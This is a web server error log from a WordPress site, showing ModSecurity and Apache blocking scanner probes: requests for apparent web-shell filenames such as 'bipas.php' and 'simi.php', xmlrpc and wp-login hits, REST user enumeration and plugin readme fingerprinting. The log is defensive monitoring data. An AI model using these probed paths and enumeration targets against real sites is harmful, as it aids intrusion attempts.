[Sun Dec 28 21:23:59.478207 2025] [:error] [pid 42293:tid 42333] [client 74.225.139.234:13264] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bipas.php"] [unique_id "aVEvb8vc9B-5cwN385IBZAAAAEo"]
[Sun Dec 28 21:24:00.103057 2025] [:error] [pid 29388:tid 29410] [client 74.225.139.234:13154] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bipas.php"] [unique_id "aVEvcNoLv2L2zI_SpdX4iwAAAU4"]
[Sun Dec 28 21:24:00.866046 2025] [:error] [pid 43789:tid 43794] [client 74.225.139.234:13215] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bipas.php"] [unique_id "aVEvcAa-tUppni4CcCZKFgAAAQM"]
[Sun Dec 28 21:24:01.284094 2025] [:error] [pid 42378:tid 42393] [client 74.225.139.234:19498] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bipas.php"] [unique_id "aVEvcTgtcN-KHAjWrX8wAgAAAM0"]
[Sun Dec 28 21:24:01.838384 2025] [:error] [pid 29437:tid 29486] [client 74.225.139.234:13139] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/conte.php"] [unique_id "aVEvcRhDotAbVk6pZLfcxgAAAdQ"]
[Sun Dec 28 21:24:02.349402 2025] [:error] [pid 42292:tid 42311] [client 74.225.139.234:13136] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/conte.php"] [unique_id "aVEvcpyOrM_vaFx1osZfGwAAAA8"]
[Sun Dec 28 21:24:02.955936 2025] [:error] [pid 42292:tid 42303] [client 74.225.139.234:13252] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/conte.php"] [unique_id "aVEvcpyOrM_vaFx1osZfHQAAAAc"]
[Sun Dec 28 21:24:04.516590 2025] [:error] [pid 43789:tid 43807] [client 74.225.139.234:19471] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/conte.php"] [unique_id "aVEvdAa-tUppni4CcCZKHAAAARA"]
[Sun Dec 28 21:24:05.230140 2025] [:error] [pid 42378:tid 42383] [client 74.225.139.234:13214] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class3.php"] [unique_id "aVEvdTgtcN-KHAjWrX8wBAAAAMM"]
[Sun Dec 28 21:24:05.705078 2025] [:error] [pid 43789:tid 43805] [client 74.225.139.234:13302] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class3.php"] [unique_id "aVEvdQa-tUppni4CcCZKHwAAAQ4"]
[Sun Dec 28 21:24:06.476504 2025] [:error] [pid 42292:tid 42307] [client 74.225.139.234:19550] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class3.php"] [unique_id "aVEvdpyOrM_vaFx1osZfHwAAAAs"]
[Sun Dec 28 21:24:07.012577 2025] [:error] [pid 29436:tid 29461] [client 74.225.139.234:13234] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class3.php"] [unique_id "aVEvd7chzOOtNL9VPNITtgAAAZY"]
[Sun Dec 28 21:24:07.457177 2025] [:error] [pid 42294:tid 42361] [client 74.225.139.234:19545] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blurbs18.php"] [unique_id "aVEvd9TE5kYcYCOzl9HScgAAAIs"]
[Sun Dec 28 21:24:07.917726 2025] [:error] [pid 29388:tid 29399] [client 74.225.139.234:19576] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blurbs18.php"] [unique_id "aVEvd9oLv2L2zI_SpdX4jgAAAUM"]
[Sun Dec 28 21:24:09.531415 2025] [:error] [pid 29436:tid 29449] [client 74.225.139.234:13161] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blurbs18.php"] [unique_id "aVEvebchzOOtNL9VPNITuAAAAYo"]
[Sun Dec 28 21:24:11.020034 2025] [:error] [pid 42294:tid 42352] [client 74.225.139.234:19519] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blurbs18.php"] [unique_id "aVEve9TE5kYcYCOzl9HSdQAAAII"]
[Sun Dec 28 21:24:11.664740 2025] [:error] [pid 29437:tid 29466] [client 74.225.139.234:13121] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/claa.php"] [unique_id "aVEvexhDotAbVk6pZLfczAAAAcA"]
[Sun Dec 28 21:24:12.058689 2025] [:error] [pid 42292:tid 42306] [client 74.225.139.234:19495] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/claa.php"] [unique_id "aVEvfJyOrM_vaFx1osZfIQAAAAo"]
[Sun Dec 28 21:24:12.445743 2025] [:error] [pid 42292:tid 42313] [client 74.225.139.234:13181] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/claa.php"] [unique_id "aVEvfJyOrM_vaFx1osZfIgAAABE"]
[Sun Dec 28 21:24:13.035818 2025] [:error] [pid 42294:tid 42366] [client 74.225.139.234:13271] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/claa.php"] [unique_id "aVEvfdTE5kYcYCOzl9HSegAAAJA"]
[Sun Dec 28 21:50:09.475534 2025] [:error] [pid 29437:tid 29475] [client 34.21.83.96:60637] [client 34.21.83.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.21.83.96, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVE1kRhDotAbVk6pZLfiZgAAAck"]
[Sun Dec 28 21:50:12.112743 2025] [:error] [pid 29437:tid 29471] [client 34.21.83.96:60637] [client 34.21.83.96] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVE1lBhDotAbVk6pZLfiaQAAAcU"]
[Sun Dec 28 21:50:14.334128 2025] [:error] [pid 29437:tid 29487] [client 34.21.83.96:60637] [client 34.21.83.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.21.83.96, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVE1lhhDotAbVk6pZLfibAAAAdU"]
[Sun Dec 28 21:56:44.248621 2025] [:error] [pid 42293:tid 42343] [client 34.73.212.57:61072] [client 34.73.212.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.212.57, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVE3HMvc9B-5cwN385IITgAAAFQ"]
[Sun Dec 28 21:56:46.889639 2025] [:error] [pid 42293:tid 42342] [client 34.73.212.57:61072] [client 34.73.212.57] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVE3Hsvc9B-5cwN385IIYgAAAFM"]
[Sun Dec 28 21:56:49.235603 2025] [:error] [pid 42293:tid 42337] [client 34.73.212.57:61072] [client 34.73.212.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.212.57, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVE3Icvc9B-5cwN385IIagAAAE4"]
[Sun Dec 28 22:07:09.733783 2025] [:error] [pid 29437:tid 29469] [client 216.73.216.168:30916] [client 216.73.216.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 216.73.216.168, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVE5jRhDotAbVk6pZLfmOAAAAcM"]
[Sun Dec 28 23:25:46.147157 2025] [authz_core:error] [pid 29436:tid 29454] [client 101.199.254.242:31529] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/elementor-pro/readme.txt
[Sun Dec 28 23:25:47.014062 2025] [authz_core:error] [pid 29436:tid 29450] [client 101.199.254.208:24676] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/google-analytics-premium/readme.txt
[Sun Dec 28 23:25:48.292433 2025] [authz_core:error] [pid 42294:tid 42374] [client 101.199.254.231:29739] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/wpforms/readme.txt
[Sun Dec 28 23:25:49.203182 2025] [authz_core:error] [pid 29436:tid 29448] [client 101.199.254.203:36344] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/smart-slider-3/readme.txt
[Sun Dec 28 23:25:50.136240 2025] [authz_core:error] [pid 29437:tid 29490] [client 101.199.254.208:24417] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/elementor/readme.txt
[Sun Dec 28 23:25:50.956382 2025] [authz_core:error] [pid 42293:tid 42343] [client 101.199.254.199:1700] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/sticky-header-effects-for-elementor/readme.txt
[Sun Dec 28 23:25:51.885185 2025] [authz_core:error] [pid 42292:tid 42305] [client 101.199.254.238:47328] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/themes/hello-elementor/readme.txt
[Sun Dec 28 23:45:26.670941 2025] [:error] [pid 42378:tid 42385] [client 34.74.9.141:57971] [client 34.74.9.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.74.9.141, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVFQljgtcN-KHAjWrX9GXAAAAMU"]
[Sun Dec 28 23:45:29.443010 2025] [:error] [pid 42378:tid 42387] [client 34.74.9.141:57971] [client 34.74.9.141] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVFQmTgtcN-KHAjWrX9GXwAAAMc"]
[Sun Dec 28 23:45:31.666176 2025] [:error] [pid 42378:tid 42393] [client 34.74.9.141:57971] [client 34.74.9.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.74.9.141, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVFQmzgtcN-KHAjWrX9GYQAAAM0"]
[Sun Dec 28 23:55:22.193996 2025] [:error] [pid 43789:tid 43791] [client 216.73.216.168:48078] [client 216.73.216.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 216.73.216.168, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVFS6ga-tUppni4CcCZijQAAAQA"]
[Mon Dec 29 02:31:10.841655 2025] [:error] [pid 62317:tid 62333] [client 4.194.41.74:64871] [client 4.194.41.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.194.41.74, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVF3bjrMrOtzJhli_KV93AAAAQ4"], referer: https://www.google.com/
[Mon Dec 29 02:31:15.862040 2025] [autoindex:error] [pid 8692:tid 8707] [client 4.194.41.74:64805] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Mon Dec 29 02:31:19.361420 2025] [autoindex:error] [pid 8692:tid 8703] [client 4.194.41.74:64805] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Mon Dec 29 02:31:22.567424 2025] [autoindex:error] [pid 62317:tid 62343] [client 4.194.41.74:64871] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Mon Dec 29 02:31:26.269895 2025] [:error] [pid 62317:tid 62330] [client 4.194.41.74:64871] [client 4.194.41.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.194.41.74, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVF3fjrMrOtzJhli_KV-IAAAAQs"], referer: https://www.google.com/
[Mon Dec 29 02:31:27.821645 2025] [autoindex:error] [pid 8692:tid 8708] [client 4.194.41.74:64805] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Mon Dec 29 02:31:30.978124 2025] [autoindex:error] [pid 62317:tid 62338] [client 4.194.41.74:64871] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Mon Dec 29 02:31:31.070250 2025] [autoindex:error] [pid 8692:tid 8700] [client 4.194.41.74:64805] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Mon Dec 29 02:31:34.572386 2025] [:error] [pid 62317:tid 62336] [client 4.194.41.74:64871] [client 4.194.41.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.194.41.74, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVF3hjrMrOtzJhli_KV-OQAAARE"], referer: https://www.google.de/
[Mon Dec 29 02:32:11.847768 2025] [autoindex:error] [pid 62317:tid 62322] [client 4.194.41.74:64871] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Mon Dec 29 02:32:15.902158 2025] [autoindex:error] [pid 8692:tid 8705] [client 4.194.41.74:64805] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Mon Dec 29 02:32:15.990086 2025] [:error] [pid 8692:tid 8713] [client 4.194.41.74:64805] [client 4.194.41.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aVF3r2qutRVJ-mCjpmKH-wAAApM"], referer: https://duckduckgo.com/
[Mon Dec 29 02:32:16.245683 2025] [autoindex:error] [pid 62317:tid 62327] [client 4.194.41.74:64777] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Mon Dec 29 02:32:16.352007 2025] [:error] [pid 62317:tid 62343] [client 4.194.41.74:64777] [client 4.194.41.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aVF3sDrMrOtzJhli_KV-WgAAARg"], referer: https://www.google.com/
[Mon Dec 29 02:32:16.529126 2025] [:error] [pid 13155:tid 13180] [client 4.194.41.74:64847] [client 4.194.41.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aVF3sBEwDeBH7maxqIbVxQAAAxc"], referer: https://duckduckgo.com/
[Mon Dec 29 02:32:16.706026 2025] [:error] [pid 62317:tid 62338] [client 4.194.41.74:64854] [client 4.194.41.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/autoload_classmap.php"] [unique_id "aVF3sDrMrOtzJhli_KV-XAAAARM"], referer: https://www.yahoo.com/
[Mon Dec 29 02:32:16.883342 2025] [:error] [pid 62317:tid 62325] [client 4.194.41.74:64775] [client 4.194.41.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aVF3sDrMrOtzJhli_KV-XgAAAQY"], referer: https://www.google.com/
[Mon Dec 29 02:32:17.064641 2025] [autoindex:error] [pid 62317:tid 62329] [client 4.194.41.74:64783] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Mon Dec 29 02:32:17.159538 2025] [autoindex:error] [pid 62317:tid 62324] [client 4.194.41.74:64783] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Mon Dec 29 02:32:17.246933 2025] [:error] [pid 62317:tid 62335] [client 4.194.41.74:64783] [client 4.194.41.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aVF3sTrMrOtzJhli_KV-YwAAARA"], referer: https://www.google.de/
